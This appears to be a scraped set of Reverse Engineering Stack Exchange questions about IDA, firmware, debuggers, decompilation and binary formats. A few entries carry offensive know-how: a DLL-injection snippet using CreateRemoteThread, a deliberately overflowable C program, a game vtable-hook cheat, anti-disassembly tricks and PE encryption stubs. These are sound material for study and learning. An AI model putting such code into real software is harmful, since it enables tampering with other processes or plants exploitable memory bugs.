+" +['ida']," Title: How to handle flags that affect instruction decoding in IDA processor modules?Body: I am writing a processor module for the Oki6620* architecture. Like ARM's Thumb mode or m7700's M flag, this architecture has a special flag that affects instruction decoding, named DD (Data Descriptor). + +For a POC, I have a global flag to my IDA processor definition, and change the DD flag depending on the instruction analysed. However, due to IDA's multithreading when analysing/decoding instructions (notify_ana/notify_emu/etc), this clearly doesn't work well. + +Even worse, when clicking around in IDA on random instructions, said instructions sometimes get changed randomly because the current DD flag's value is different from when the instruction was first analysed. + +My two main questions are: + + + +Here is a PDF explaining the ISA and processor info. My current code (draft of course) is available on github. + +Thank you very much in advance. +" +"['firmware', 'encryption', 'decompress']"," Title: Way to know if firmware is compressedBody: I dumped a wifi firmware of ps3 console but it seems that this firmware is compressed. +Here you can have some informations : https://www.psdevwiki.com/ps3/Wifi_Firmware + + + +What can I do to decompress it (and to know which algorithm is used here)or just if someone can give me an advice where to check to go further in the analysis because now I don't have any ideas of what to do :/ + +Thanks ! + +EDIT : + +Entropy analysis: + + +File is here. + +Here is the datsheet of the chip : https://www.macronix.com/Lists/Datasheet/Attachments/7306/MX25L4005A,%203V,%204Mb,%20v2.2.pdf + +I just used basic binwalk and that's it. I'm a beginner in this field so i don't know that much :/ + +There is no binwalk output.except for entropy: + +
DECIMAL       HEXADECIMAL     ENTROPY
+--------------------------------------------------------------------------------
+0             0x0             Falling entropy edge (0.334894)
+87040         0x15400         Falling entropy edge (0.818296)
+181248        0x2C400         Falling entropy edge (0.807684)
+215040        0x34800         Falling entropy edge (0.837182)
+226304        0x37400         Falling entropy edge (0.833665)
+265216        0x40C00         Falling entropy edge (0.819895)
+371712        0x5AC00         Falling entropy edge (0.791722)
+
+" +"['obfuscation', 'java', 'game-hacking']"," Title: J2ME games obfuscator - Spyro and Tekken 5Body: While reversing some J2ME games like Spyro or Tekken 5 Mobile I have encountered a weird obfuscation where all fields, methods and classes have names like A, a, B, b, Aa, Bb etc. + +It's really hard to read source code like that. Example method can look like this: + +
     public static void a(final boolean b) {
+        f.b = b;
+        if (!b && f.a != null) {
+            try {
+                f.a.stop();
+            }
+            catch (Exception ex) {}
+            f.a = null;
+        }
+    }
+
+ +Is there a way to restore original names or at least make this code more readable? I would be grateful for any tips. +" +"['ida', 'asm']"," Title: How to prepend offset to smart names?Body: So I'm trying to reassemble an PE to ELF so I can debug it with rr. + +However masm report duplicate symbol errors. It's because it doesn't enforce scope to it's variables so smart names cause conflicts. If they were postfixed with stack or data offset respectively there wouldn't be such problems. + +Alternatively maybe there is a switch in masm which can correct those errors. + +
+ TRAOD_P4_orig.exe.v2.data.asm(1058192) : error A2005:symbol + redefinition : Args TRAOD_P4_orig.exe.v2.data.asm(2724112) : error + A2005:symbol redefinition : Dest +
+ +
; LINE somewhere in the code above
+Dest            = byte ptr -404h
+Args            = byte ptr  10h
+
+; LINE 1058192
+; char Args[]
+Args            dd ?                    ; DATA XREF: _Caption_Draw:loc_523425\u2191r
+
+; LINE 2724112
+; char Dest
+Dest            db ?                    ; DATA XREF: sub_42DF68+38\u2191o
+
+ +Apparently there was even a case where Memory was both a local variable and a data reference in the same function. +" +"['disassembly', 'anti-debugging', 'disassemblers', 'compilers']"," Title: Is it possible to define the adress of a function in assembly?Body: I am creating a PoC for anti-disassembly techniques, and I would like to know if there were ways to define the address of functions once compiled with gcc. + +Here is the PoC program : + + + +
BITS 32
+EXTERN puts
+SECTION .data
+    chaine      db ""Hello world !"", 0
+
+SECTION .text
+    GLOBAL main
+
+    I_Want_to_control_this_func_addr:
+    ret
+
+    main:
+    push chaine
+    ; xor eax, eax
+   jz beer+1
+beer:
+   db 0xe8
+    add al, 3
+    add al, 8
+    pop eax
+    ret
+
+ +I would like the function to have the address 0x08040309. + +I am compiling with : nasm -f elf test.asm; gcc -m32 -o test test.o +" +"['firmware', 'binwalk', 'bluetooth']"," Title: CSR DFU File FormatBody: I am trying to reverse engineer the firmware for my JBL Flip 3 speaker. I have obtained a DFU file for the device online but am unsure as to how much of the firmware is included. My first question would be, normally do DFU files include the full device firmware or just a portion of it and the device knows how to update the specific portion? + +Assuming for now that the file contains the full firmware, does anyone know anything about firmware images for CSR Bluetooth SOC's? I know that the speaker is using a CSR SOC because the DFU starts with CSR-dfu2. + +Opening the DFU file in Audacity and playing it, we can see that it contains all the sound effects the speaker plays as well as some sections of static that I assume are code: + +I am fairly confident that these sections are code/data because they contains strings like tts/0.raw and tts/1.raw. However, there is a null byte in between each character of the strings which suggests that they are UTF-16 strings. Does anyone know of an embedded filesystem that uses UTF-16 filenames? + +Unfortunately binwalk does not provide any useful information. However, I found what I believe to be the full JBL Flip 4 firmware image image and binwalk reveals several sections: + +
0             0x0             CSR (XAP2) DFU firmware update header
+1380          0x564           CSR Bluecore firmware segment
+1931310       0x1D782E        YAFFS filesystem, big endian
+
+ +Does anyone have any experience with CSR or JBL firmware and could provide guidance or a suggestion of how to extract code from the DFU? Thank you. +" +"['decompilation', 'game-hacking']"," Title: How do I reverse engineer a game using dnSpy?Body: I've been reading some about reverse engineering and decided to try to learn as I go, which has proven somewhat difficult. Sorry about the generic title, I'll try and give enough info so it can be properly answered. I have attempted to view the code of both the exe of the game and the game assembly dll, the game was written in c# with unity, every time I import any of the files into dnSpy it only has a PE tab containing header info I think? BTW the second screenshot is how it is on every item, I've seen some video's where they can edit the c# right in here, is it a security measure or am I an idiot and screwed up? If my question is really retarded feel free to direct me to some beginner resources. I may even just be using the wrong tool. Let me know if you need clarification and thanks in advance for answering my noob question + + +" +"['decompilation', 'decryption']"," Title: How to decrypt a file who encryption and key is unknown?Body: Here is the file that I am trying to findout a way to decrypt.
+settings.ini
+This file is from the settings of the MetaTrader 5. The same is the name of the application.
+Kindly suggest a better way so that I could read what is there in the encrypted settings file. +" +['ghidra']," Title: Ghidra does not display whole stringsBody: It's pretty annoying. I think I might have changed some setting somewhere. + +Here's a screenshot of what I'm talking about. See all those "..." ? +How do I turn that off? +" +['communication']," Title: Reversing Contactless Chip CapabilitiesBody: I have a contactless card which I'd like to know the capabilities. I assume the card works with NFC. However standard tools (nfc-list) do not seem to be able to retrieve regular informations from it (not even the UID), the phone can't detect it either. This may be because the chip may have a not common NFC type. + +Now my question is: how can I know what kind of chip technology this is so I can begin working on understanding how data is stored and what is the protocol ? + +What kind of additional hardware other than a simple reader (e.g ACR122U) may come handy to identify the card ? +" +"['android', 'arm', 'gdb', 'qemu']"," Title: Strange behaviour debugging Android ARM binary with gdbserverBody: I'm trying to run this armv5 binary from OWASP's mobile security guide (validate) using Android Studio's emulator on my x86_64 machine. I'm seeing very weird behaviour and would appreciate any guidance! + +If I run the program + + + +
$ adb push validate /data/local/tmp
+$ adb shell /data/local/tmp/validate AAAAAAAAAAAAAAAA
+Entering base32_decode
+Outlen = 10
+Entering check_license
+Incorrect serial.
+
+ +It works as expected. + +The issue arises when I attach gdbserver to the process and attempt to debug it over the network with gdb running on my x86_64 machine (Ubuntu 18.04). + +

Run under GDBserver

+ + + +
$ adb root
+$ adb forward tcp:8888 tcp:8888
+$ adb push validate /data/local/tmp
+$ adb shell gdbserver --version
+GNU gdbserver (GDB) 7.11
+$ adb shell gdbserver :8888 /data/local/tmp/validate
+
+ +

Connect with GDB from host (Ubuntu 18.04 x86_64)

+ +
$ ~/Android/Sdk/ndk/20.0.5594570/prebuilt/linux-x86_64/bin/gdb --version
+GNU gdb (GDB) 7.11
+$ ~/Android/Sdk/ndk/20.0.5594570/prebuilt/linux-x86_64/bin/gdb
+
+gdb$ target remote :8888
+gdb$ break *(0x2a000000 + 0x3bc) # Set breakpoint in main function
+gdb$ c
+Program received signal SIGSEGV, Segmentation fault.
+0x2a0003c0 in ?? ()
+
+ +Upon further inspection, it seems that the reason it fails, is because GBD fails to restore the instruction at the breakpoint to it's original value after mangling it to facilitate the breakpoint. + +

Try with hardware breakpoint instead

+ +
gdb$ hbreak *(0x2a000000 + 0x3bc)
+
+ +No SIGSEGV this time, but now if we try to step with + +
gdb$ nexti
+
+ +It doesn't increment the program counter + +Even if we clear the break points, it's still stuck on that one instruction and there doesn't appear +to be any way to make gdb continue execution. + +

Android Image Details (taken from Android Studio AVDManager)

+ + + +

Aditional notes

+ + +" +"['assembly', 'stack-protector']"," Title: Stack-Smashing Protection error messageBody: Here is a very ugly C program: + +
 #include <stdio.h>
+ #include <string.h>
+ int main(int argc, char *argv[])
+ {
+    char buffer[10];
+    memcpy(buffer,argv[1],strlen(argv[1]));
+    printf(""%s\n"", buffer);
+    return 0;
+ }
+
+ +I am compiling this program with Stack-Smashing Protection: + +
 $ gcc -fstack-protector smash.c -o smash
+
+ +Here is what I get during execution: + +
 $ ./smash 01234567890
+ 01234567890v?\??nr?!??U
+ *** stack smashing detected ***: <unknown> terminated
+
+ +The protection works fine but I do not understand why I see unknown instead of argv[0]. +" +"['windows', 'memory', 'exploit', 'kernel-mode', 'memory-dump']"," Title: Get NonPagedPool (NPP) Base Address on any Windows OSBody: Is there a way to get the the base(start) address of the NonPagedPool in Windows ? + +I know that it's dynamic for Post windows 7 Operating Systems (Does this include Windows server 2008 ?) +" +"['binary-analysis', 'file-format', 'binary-diagnosis', 'graphics']"," Title: Deciphering an unknown graphics formatBody: For my own amusement, I dumped the files of an old Nintendo DS video game I have (the company has long since gone bankrupt/closed) and am trying to extract the assets. I have recovered game text, videos, and sound, but one 58-MB file by the name of graph.dat, which contains the game's graphics (probably) is giving me a hard time. + +Importantly, the game's text was stored in a custom format which the developers appear to have created for the game, so I strongly suspect graph.dat to contain a custom graphics format as well. + +I was able to break the graphics file into segments by reading metadata records left in a separate file, graph.dti. The metadata file contained 1910 records, separated by 44 chunks of intermediate data. Each record listed off a set of contiguous addresses in graph.dat, which yielded three binary data blobs once chunked out of that file. + +The first blob in each record, which I've nicknamed 'Huey', might be some sort of header. It's always either 32 bytes or 512 bytes long. + +The second blob, 'Dewey', is of variable length, ranging from 704 bytes to 49 KB in size. I suspect it contains the actual image data. + +The third blob, 'Louie', is always 1536 bytes in size. + +I suspect 'Huey' may be color palette data, and 'Louie' is some sort of color index, but I can't be sure. + +Does anyone have any ideas? Tossing 'Dewey' into GIMP's raw data import was spectacularly unsuccessful. + +Link to a sample of four different images (I'm assuming) from the file. Filenames were provided by my unpacker tool and were not present in the original metadata. I have 1,906 more of these where this came from, so just ask if you need them. +" +"['c++', 'elf', 'ghidra', 'x86-64']"," Title: How to determine when/where pointers in .ctors get mapped?Body: So I am learning about ELF, and am looking through a binary in Ghidra as I do. I've made sense of the ELF header, and now I am looking through the program header table. + +My binary has a bunch of entries in the program header table, but I am hung up on one in particular... + +From referencing... + +http://www.sco.com/developers/gabi/latest/ch5.pheader.html#p_flags + +...I can see what the different flags mean. Of relevance: + +
p_offset = 0xABCDEF
+p_vaddr = 0x1BCDEF
+p_filesz = <number>
+p_memsz = <bigger number>
+
+ +I am able to go to the p_vaddr value in the binary, and it brings me to the .ctors section. Where I do see what appears to be a list of pointers, but currently those pointers do not represent valid virtual addresses (by currently I mean they are not virtual addresses that I can ""go"" to in Ghidra). When I run the program dynamically in gdb though, I can run x addr_of_interest and it succeeds and says it is pointing to something in a library blah blah. + +I found a relevant link from GCC too, but it did not answer my question as far as I could tell... + +https://gcc.gnu.org/onlinedocs/gccint/Initialization.html + +My question therefore is this: When/how are these pointers mapped to valid memory, and where in the ELF file is the information that would tell me how this happens? +" +"['disassembly', 'binary-analysis', 'radare2', 'static-analysis', '8051']"," Title: Radare2 8051 code bank switchingBody: Some of 8051 chips use bank switching to extend accessible code memory. +Good example is Silabs C8051F12x. Another example is here. + +Code area in range 0x0000..0x7ffff is common always accessible code bank. +Upper side of code memory 0x8000..0xffff is mapped to banks in extended code memory which specified by some bank selector register. + +What is recipe to handle analysis of this kind of code overlaying? +" +['dos']," Title: Converting 2 bytes into dateBody: I am trying to convert the following bytes into their corresponding dates. + +I am not 100% on format the dates is stored, this format is returned from the application that read them. + +Bytes Date value + +
25 47 = 04/19/2005
+32 47 = 05/02/2005
+30 47 = 04/30/2005
+31 47 = 05/01/2005
+D8 46 = 02/01/2005
+
+3D 48 = 01/24/2006
+3F 48 = 01/26/2006
+45 48 = 02/01/2006
+
+1E 53 = 09/09/2013
+15 53 = 08/31/2013
+4C 53 = 10/25/2013
+70 53 = 11/30/2013
+
+3E 58 = 04/13/2017
+4F 58 = 04/30/2017
+
+92 59 = 03/19/2018
+9E 59 = 03/31/2018
+
+ +The application was developed in the 1980s, so I am assuming that if there is an epoch, it is 1980 or before. + +There is clearly a pattern that the byte values increase as the dates increases. + +I have tried subtracting the decimal value from the date as days - that did not work since the epoch was different for some dates. + +I have also tried to look at binary bits; 4 bits for month, 5 for day, and the rest for year. That did not work either. + +This data came from a .dbm file created with DataEase 5.53 if that helps. +" +['hardware']," Title: Need to identify a diodeBody: I need help as i'm new to reverse engineering. I need to identify a diode in a PCB that i'm currently working on. Do you guys have any idea or advise on how to identify the diode. The diode which I need to identify is D1 on the picture below. + + +" +"['elf', 'segmentation', 'section']"," Title: problem rewriting ELF binary to add an additional loadable segmentBody: I have a problem rewriting ELF binary to add an additional loadable segment for add.c code. + +I have problem working with https://pdfhost.io/v/U@uP1+nCY_Compact_Control_Flow_Integerity_in_Linuxpdf.pdf + +Note that in the readelf report , especially the Section to Segment mapping , the right side (modified ELF) still does not have an additional loadable segment (called as .mysection) + +Note: I am using 010Editor together with ELF.bt which I believe that this 010 editor software is already using elfutils library +" +['x64dbg']," Title: What's ScyllaHide's PDBReaderx64.exe Doing?Body: I just downloaded the binary of ScyllaHide for x64dbg. According to the instructions, I need to generate an NtApiCollection.ini file by running PDBReaderx64.exe or PDBReaderx86.exe. But I've got a long list of errors: + +running PDBReaderx64.exe in win 7 64bit in a VM(virtualbox): + +
C:\work\reversetools\ScyllaHide_2019-05-31_22-45\Release>PDBReaderx64.exe
+
+ +result: + +
OS ID: 6.1.1.0.1.9.x64
+DBGHELP: No debug info for C:\bin\ScyllaHide_2019-05-31_22-45\Release\PDBReaderx
+64.exe.  Searching for dbg file
+DBGHELP: SymSrv load failure: symsrv.dll
+DBGHELP: C:\bin\ScyllaHide_2019-05-31_22-45\Release\PDBReaderx64.dbg - file not
+found
+DBGHELP: C:\bin\ScyllaHide_2019-05-31_22-45\Release\exe\PDBReaderx64.dbg - path
+not found
+DBGHELP: C:\bin\ScyllaHide_2019-05-31_22-45\Release\symbols\exe\PDBReaderx64.dbg
+ - path not found
+DBGHELP: C:\bin\ScyllaHide_2019-05-31_22-45\Release\PDBReaderx64.dbg - file not
+found
+DBGHELP: C:\bin\ScyllaHide_2019-05-31_22-45\Release\PDBReaderx64.exe missing deb
+ug info.  Searching for pdb anyway
+DBGHELP: Can't use symbol server for PDBReaderx64.pdb - no header information av
+ailable
+DBGHELP: PDBReaderx64.pdb - file not found
+DBGHELP: PDBReaderx64 - no symbols loaded
+DBGHELP: ntdll.pdb - file not found
+DBGHELP: ntdll - export symbols
+DBGHELP: kernel32.pdb - file not found
+DBGHELP: kernel32 - export symbols
+DBGHELP: kernelbase.pdb - file not found
+DBGHELP: KERNELBASE - export symbols
+DBGHELP: dbghelp.pdb - file not found
+DBGHELP: dbghelp - export symbols
+DBGHELP: msvcrt.pdb - file not found
+DBGHELP: msvcrt - export symbols
+DBGHELP: user32.pdb - file not found
+DBGHELP: user32 - export symbols
+DBGHELP: gdi32.pdb - file not found
+DBGHELP: GDI32 - export symbols
+DBGHELP: lpk.pdb - file not found
+DBGHELP: LPK - export symbols
+DBGHELP: usp10.pdb - file not found
+DBGHELP: USP10 - export symbols
+DBGHELP: imm32.pdb - file not found
+DBGHELP: IMM32 - export symbols
+DBGHELP: msctf.pdb - file not found
+DBGHELP: MSCTF - export symbols
+Failed to get VA for NtUserQueryWindow: The specified module could not be found.
+
+Failed to get VA for NtUserBuildHwndList: The specified module could not be foun
+d.
+Failed to get VA for NtUserFindWindowEx: The specified module could not be found
+.
+Resolved user32.dll!NtUserBuildHwndList = 0
+Resolved user32.dll!NtUserFindWindowEx = 0
+Resolved user32.dll!NtUserQueryWindow = 0
+
+ +seems like PDBReaderx64.exe is trying to look for some .dbg files but failed. Also the 3 resolved api's are having address = 0. I have no idea what went wrong as there is no information about what this PDBReaderx64.exe is doing. Any help? +" +"['ida', 'assembly', 'calling-conventions']"," Title: Why doesn't alloca_probe follow x64 calling convention?Body: I was practising reverse engineering on some Windows x64 applications when I came across this function: + +
call alloca_probe
+
+ +This alloca_probe function has some strange implementation: + +
    +
  1. EAX is used as a function argument (for the allocation size)
  2. +
  3. The prolog saves current state of R10 and R11 even though they are considered volatile registers by convention.
  4. +
+ +As I can recall, the x64 calling convention by Microsoft indicates: + + + +alloca_probe function clearly doesn't follow this convention... + +My question is: + +Why doesn't this function follow the convention, and how does the compiler know how to use these type of functions (e.g using EAX as first argument)? +" +"['ida', 'hexrays', 'decompile']"," Title: Hex-Rays skips codeBody: I have using IDA Pro 6.8 (Hex-Rays 2.2), the default settings. +The problem starts to happen when I'm trying to analyze function (which actual size ~2886 bytes), pressing F5 (without errors or alerts) and getting in output only first few code blocks: + +But actual code is much bigger than the result, why Hex-Rays skip all other code, and how to fix it? +" +"['ida', 'windows', 'c', 'dll', 'mfc']"," Title: mfc140 dll , what is the usage?Body: While I open exe file in ida I can see lot of calls to mfc140_6153 + or mfc140_8718. + +What are those functions ? what they do ? + +thanks +" +['libc']," Title: How to use the libc.so.6 file?Body: I'm new to Linux operating system. +Last day, I practice ""heap exploitation"", and they give me an ELF file, and a libc.so.6 file, and they said I must debug/exploit with that libc file, but I don't know how to use it. + +I try to run the ELF file, and I receive ""Illegal instruction (core dumped)"". After googling, I try with LD_PRELOAD, LD_LIBRARY_PATH but no luck. I'm using LUbuntu 18.04. + +So can you guys help me with this case? +" +"['disassembly', 'decompilation', 'c++', 'c']"," Title: Why is fastcall used for replacing thiscall functions in memory instead of cdecl?Body: Assume I were to be reversing some game which processes all of it's movement client side and have determined some function to be of the type: + +
bool __thiscall Player::CanJump(Player *this)
+
+ +that I have determined to be a member of the Player object's vtable. Now lets assume I wanted to edit that object's vtable to point to my own dll injected implementation so that I could jump whenever I wanted. I could declare it as + +
bool __fastcall CanJumpReplacement(Player *player) {
+    return true;
+}
+
+ +and replace the Player's vtable entry with a pointer to this function. This works as expected, but why should I use the fastcall convention here? Fastcall is used almost exclusively for this purpose from what I can tell, but I was reading through the calling conventions and cdecl seems to be a much closer match to thiscall than fastcall. Both calling conventions succeeded in replacing the function. +" +"['ollydbg', 'dll-injection']"," Title: Can't find injected DLL in OllyDbgBody: I am trying to learn about injecting a DLL into a process and I wanted to simply execute a code which injects an already built DLL so that I could then check with OllyDbg if it worked. + +I am using the code below for this: + +
LPCSTR DllPath = ""E:\\testdll.dll"";
+GetWindowThreadProcessId(FindWindowA(0, ""Calculator""), &ProcessId);
+HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
+LPVOID pDllPath = VirtualAllocEx(hProcess, 0, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
+WriteProcessMemory(hProcess, pDllPath, (LPVOID)DllPath, strlen(DllPath) + 1, 0);
+HANDLE hLoadThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA(""Kernel32.dll""), ""LoadLibraryA""), pDllPath, 0, 0);
+WaitForSingleObject(hLoadThread, INFINITE);
+
+ +Apparently this worked (I have added a MessageBox inside the DLL in order to check that) but I can't find my DLL inside the 'Executable Modules' in OllyDbg. Also, the code inside the DLL keeps running even if I close the process it was injected into. + +What did I do wrong? +" +"['ida', 'disassembly', 'debugging', 'memory', 'x64dbg']"," Title: How to use memory address information from IDAFree to set a breakpoint in x32dbg?Body: I have a DLL paused at EntryPoint in x32dbg. I am interested in examining memory following a specific API call that this DLL makes. I found the API call in the imports section when I open the DLL in IDAFree and then I see the API function call in IDA. I follow it in code and IDA shows it's at address: 10001B66 + +My problem is that when I try to set a breakpoint at this address in x32dbg (bp 0x10001B66), it gives me an error: + +
+ Error setting breakpoint at 10001B66! (memread) +
+ +Additionally, in x32dbg, I'm seeing addresses such as 714A7D39 for my DLL. Now, I'm new to this but I'm guessing that the memread error is because 10001B66 -- as seen in IDA -- is not a valid memory address in the context of execution in the debugger. + +So how do I get the correct address of this API function call so that I can set the correct breakpoint? +" +['radare2']," Title: Radare2 produces null bytes on writeBody: I've created a simple program in C that prints the text ""Hello, World"". I'm learning to use Radare and attempting to change the ""Hello, World"" string in the binary executable (PE in this case). + +But the problem I'm having is after I change the text running px shows all bytes are 0xFF. Here's an example: + +
D:\Projects\fasm\learning>radare2 -v
+radare2 3.9.0 1 @ windows-x86-64 git.3.9.0
+commit: 4d04a91c06413fe1b9fb0891fca8f42c927df1fd build: Tue 09/17/2019__18:51:56.27
+D:\Projects\fasm\learning>radare2 empty-func.exe
+ -- Switch between print modes using the 'p' and 'P' keys in visual mode
+[0x004012e1]> / Hello
+Searching 5 bytes in [0x41b000-0x41c000]
+hits: 0
+Searching 5 bytes in [0x419a00-0x41b000]
+hits: 0
+Searching 5 bytes in [0x419000-0x419a00]
+hits: 1
+Searching 5 bytes in [0x418600-0x419000]
+hits: 0
+Searching 5 bytes in [0x412000-0x418600]
+hits: 0
+Searching 5 bytes in [0x411a00-0x412000]
+hits: 0
+Searching 5 bytes in [0x401000-0x411a00]
+hits: 0
+0x00419000 hit0_0 .Hello, world.
+[0x004012e1]> s 0x00419000
+[0x00419000]> px
+- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
+0x00419000  4865 6c6c 6f2c 2077 6f72 6c64 0a00 0000  Hello, world....
+0x00419010  ffff ffff 0100 0000 0000 0000 0000 0000  ................
+0x00419020  0100 0000 b119 bf44 4ee6 40bb 0000 0000  .......DN.@.....
+0x00419030  ffff ffff 0000 0000 0000 0000 0000 0000  ................
+0x00419040  2005 9319 0000 0000 0000 0000 0000 0000   ...............
+0x00419050  0000 0000 0000 0000 0000 0000 0120 0000  ............. ..
+0x00419060  0000 0000 0000 0000 0000 0000 0000 0000  ................
+0x00419070  0000 0000 0000 0000 0000 0000 0000 0000  ................
+0x00419080  0000 0000 0000 0000 0000 0000 0000 0000  ................
+0x00419090  0000 0000 0220 0000 0100 0000 0000 0000  ..... ..........
+0x004190a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
+0x004190b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
+0x004190c0  0000 0000 0000 0000 0000 0000 0224 0000  .............$..
+0x004190d0  0200 0000 0000 0000 0000 0000 0000 0000  ................
+0x004190e0  0000 0000 0000 0000 0000 0000 0000 0000  ................
+0x004190f0  0000 0000 0000 0000 0200 0000 0000 0000  ................
+[0x00419000]> w Hola. mundo\x00
+Failed to write
+[0x00419000]> oo+
+[0x00419000]> w Hola. mundo\x00
+[0x00419000]> px
+- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
+0x00419000  ffff ffff ffff ffff ffff ffff ffff ffff  ................
+0x00419010  ffff ffff ffff ffff ffff ffff ffff ffff  ................
+0x00419020  ffff ffff ffff ffff ffff ffff ffff ffff  ................
+0x00419030  ffff ffff ffff ffff ffff ffff ffff ffff  ................
+0x00419040  ffff ffff ffff ffff ffff ffff ffff ffff  ................
+0x00419050  ffff ffff ffff ffff ffff ffff ffff ffff  ................
+0x00419060  ffff ffff ffff ffff ffff ffff ffff ffff  ................
+0x00419070  ffff ffff ffff ffff ffff ffff ffff ffff  ................
+0x00419080  ffff ffff ffff ffff ffff ffff ffff ffff  ................
+0x00419090  ffff ffff ffff ffff ffff ffff ffff ffff  ................
+0x004190a0  ffff ffff ffff ffff ffff ffff ffff ffff  ................
+0x004190b0  ffff ffff ffff ffff ffff ffff ffff ffff  ................
+0x004190c0  ffff ffff ffff ffff ffff ffff ffff ffff  ................
+0x004190d0  ffff ffff ffff ffff ffff ffff ffff ffff  ................
+0x004190e0  ffff ffff ffff ffff ffff ffff ffff ffff  ................
+0x004190f0  ffff ffff ffff ffff ffff ffff ffff ffff  ................
+[0x00419000]>
+
+ +And ideas what I'm doing wrong here? +" +"['c++', 'encryption', 'x86-64']"," Title: PE32+ executable : .text segment encryptionBody: I am working on PE segment encryption(in C++). I completed the PE32 .text segment encryption. I added stub segment to the PE that will decrypt .text segment at runtime. Used inline assembly in the stub function. But I can't implement the same method in PE32+ executable(64bit exe) as it won't support inline assembly. I am able to add the stub and encrypt the text segment. + +Issue is with the decryption logic in the stub. + +I tried adding separate .asm files but failed as I am new to assembly language. +Is it possible to do without assembly language? Please help me with any good documentation or samples on PE32+ segment encryption. +" +"['windows', 'pintool', 'windows-10']"," Title: Intel Pin assertion failed: RTN_Valid(x)Body: I am working on modifying my Intel Pin based tool. As before I am using VS2015 on Windows 10. Previously, I have been testing a tool on the same system where I build it and it worked just fine. The real use of a tool was on the Win7 virtual machine. Recently, I started getting incorrect behavior of a tool. It doesn't crash, however, it stops recording traces before it should and writes the following in the log file: + +
A:  source\pin\pin\image.cpp: LEVEL_PINCLIENT::RTN_Name: 2012: assertion failed: RTN_Valid(x)
+
+ +I thought that it was caused by recent updates of a Windows or new antivirus that was introduced by our IT department. However, I tested it on the Win7 VM and it worked there as fine as before. Then I have created Win10 VM without antivirus and switched off all possible security features but got the same assertion failed problem. I have been using Intel Pin 3.6, so I decided to build my tool under 3.11 but got the same problems. + +Finally, a question: what causes such behavior? + +I know, that Pin's FAQ doesn't explicitly say (https://software.intel.com/en-us/articles/pin-a-binary-instrumentation-tool-faq) that Intel Pin should work on Win10, however it worked for me before. +" +"['file-format', 'javascript']"," Title: Need help reversing .m4t TTML subtitles formatBody: I am currently trying to create subtitles for some proprietary Sony software. Unfortunatly, it only recognizes Sony's own .m4t subtitles format. After some research I found that this subtitles is also used in Crackle app for PS3. + +There is source code of this app available here: +https://github.com/eigentopia/PS/tree/92d04b264016c4a16c6772bd9cf7c1184649cf54/js/app/com/dadc/lithium + +Look for model/TTMLSubtitleModel.js + +This format appears to be some variant of TTML subtitles. + +Subtitles converted to .ttml and with extintion changed to .m4t is recognized by the programm, but isn't displayed. + +Any help with figuring out this format (or it's differences from standard TTML) is appreciated. +" +"['ida', 'gdb']"," Title: Body: I'm trying to debug a backtrace created with rr so I type: + +
rr replay -s 50505 -k
+
+ +it displays out: + +
gdb '-l' '10000' '-ex' 'set sysroot /' '-ex' 'target extended-remote 127.0.0.1:50505' target
+
+ +Then I attach to it with ida remote debugger - i can continue, dismiss exceptions but nothing else - pressing the step over button just resumes the process. + +Also rr have special set of instructions reverse-* however when i type anything in the gdb command line at the bottom it says: + +
<error sending command to monitor>
+
+" +"['binary-analysis', 'python', 'dynamic-analysis', 'x64dbg', 'automation']"," Title: x64dbgpy: application unresponsive when trying to automate inside breakpoint callbackBody: When a breakpoint callback is triggered trying to automate the debugger inside the callback causes the application to become unresponsive. x64dbg continues functioning but the application itself doesn't resume execution. + +This is only happening when the functions are called inside the BP callback. + +Script: + +
from x64dbgpy import *
+
+def handle():
+    pluginsdk.Run()
+
+
+Breakpoint.add(0x81755, handle)
+
+ +Calling any function such as pluginsdk.StepOver, etc also causes the freeze. + +Does x64dbgpy not support automating the debugger inside breakpoint callbacks? Or am I doing something wrong? Suggestions would be great. +" +"['ida', 'deobfuscation']"," Title: How to remove bytes/opcodes within IDA Pro databaseBody: I am dealing with a heavily obfuscated binary, with certain portions of it having an abundance of junk code when it attempts to set a value at certain offsets to esp/ebp. My question, having identified the junk code from the actual code, is how can I remove the junk opcodes entirely and shorten the disassembly to the direct operation that it is employing? I have found no delete/remove bytes in the SDK, and short of a processor module, I am not sure if IDA has this capability, which would be a shame if it didn't. + + + + + +
add     ecx, 4  
+mov     edi, 32F88Eh    ; junk  
+and     edi, 34h        ; junk  
+add     edi, 0aB0b2cE6h ; junk  
+mov     ebx, 98761234h  ; junk  
+mov     [ebp+edi+47652784], ecx; [ebp+0xa0]
+
+ +The manipulations to edi are junk in the sense their value is actually static once you apply constant folding to it + + + + + +
add ecx, 4  
+mov [ebp+0xa0], ecx
+
+" +"['windows', 'linux', 'memory', 'pe', 'elf']"," Title: IAT vs GOT address resolving: which of them resolve during runtime and which during load time by default?Body: So based on my knowledge on windows apps, as far as i know the IAT gets filled with correct addresses when the library gets loaded (correct me if I'm wrong) + +now in linux, they use GOT, and again based on my knowledge the GOT gets filled in run time by default, meaning first we jump into PLT, then the first time i use a function (for example puts) we first call the dynamic loader by jumping in the beginning of PLT and that fills the corresponding address in GOT, and next time i call puts then i directly jump into it after going into PLT + +so this means that by default, windows fills all the addresses in the IAT in load time but linux doesn't, correct? + +and if so, then isn't this a security risk for linux? because in windows IAT is inside the rdata section and is read only, but in linux is read and write! and for example if we have a format string exploit then we can write on GOT but this doesnt happen in windows, am i missing something here? +" +"['decompilation', 'tools', 'decompiler', 'pwntools']"," Title: Can I decompile a file if I have a compiler?Body: Is it possible to reverse the compiled code using a compiler?
+I have a compiler in the form of exe and using it I can compile the file. But there is no possible instruction I got to decompile a file.
+I want to know what are the possibility of getting a decompiled source code from the compiled version?
+Are there any methodology or tools that would help in making it possible?
+Please share your insights. +" +"['python', 'angr']"," Title: Angr Use argv as initialstateBody: I am currently trying to use angr, and I need to find a string ""Done!"" which results in the ""good termination"" of the program. The input is 32 bits and I need to know the input which leads to the ""Done!"" being printed. +I thought of using the following in my python script: + +
b = angr.Project('a.out')
+arg1 = claripy.BVS('arg1', 32)
+b.factory.entry_state(args=['a.out', arg1])
+pg = b.factory.simgr()
+pg.explore(find=lambda x: b'Done!' in x.posix.dumps(1))
+
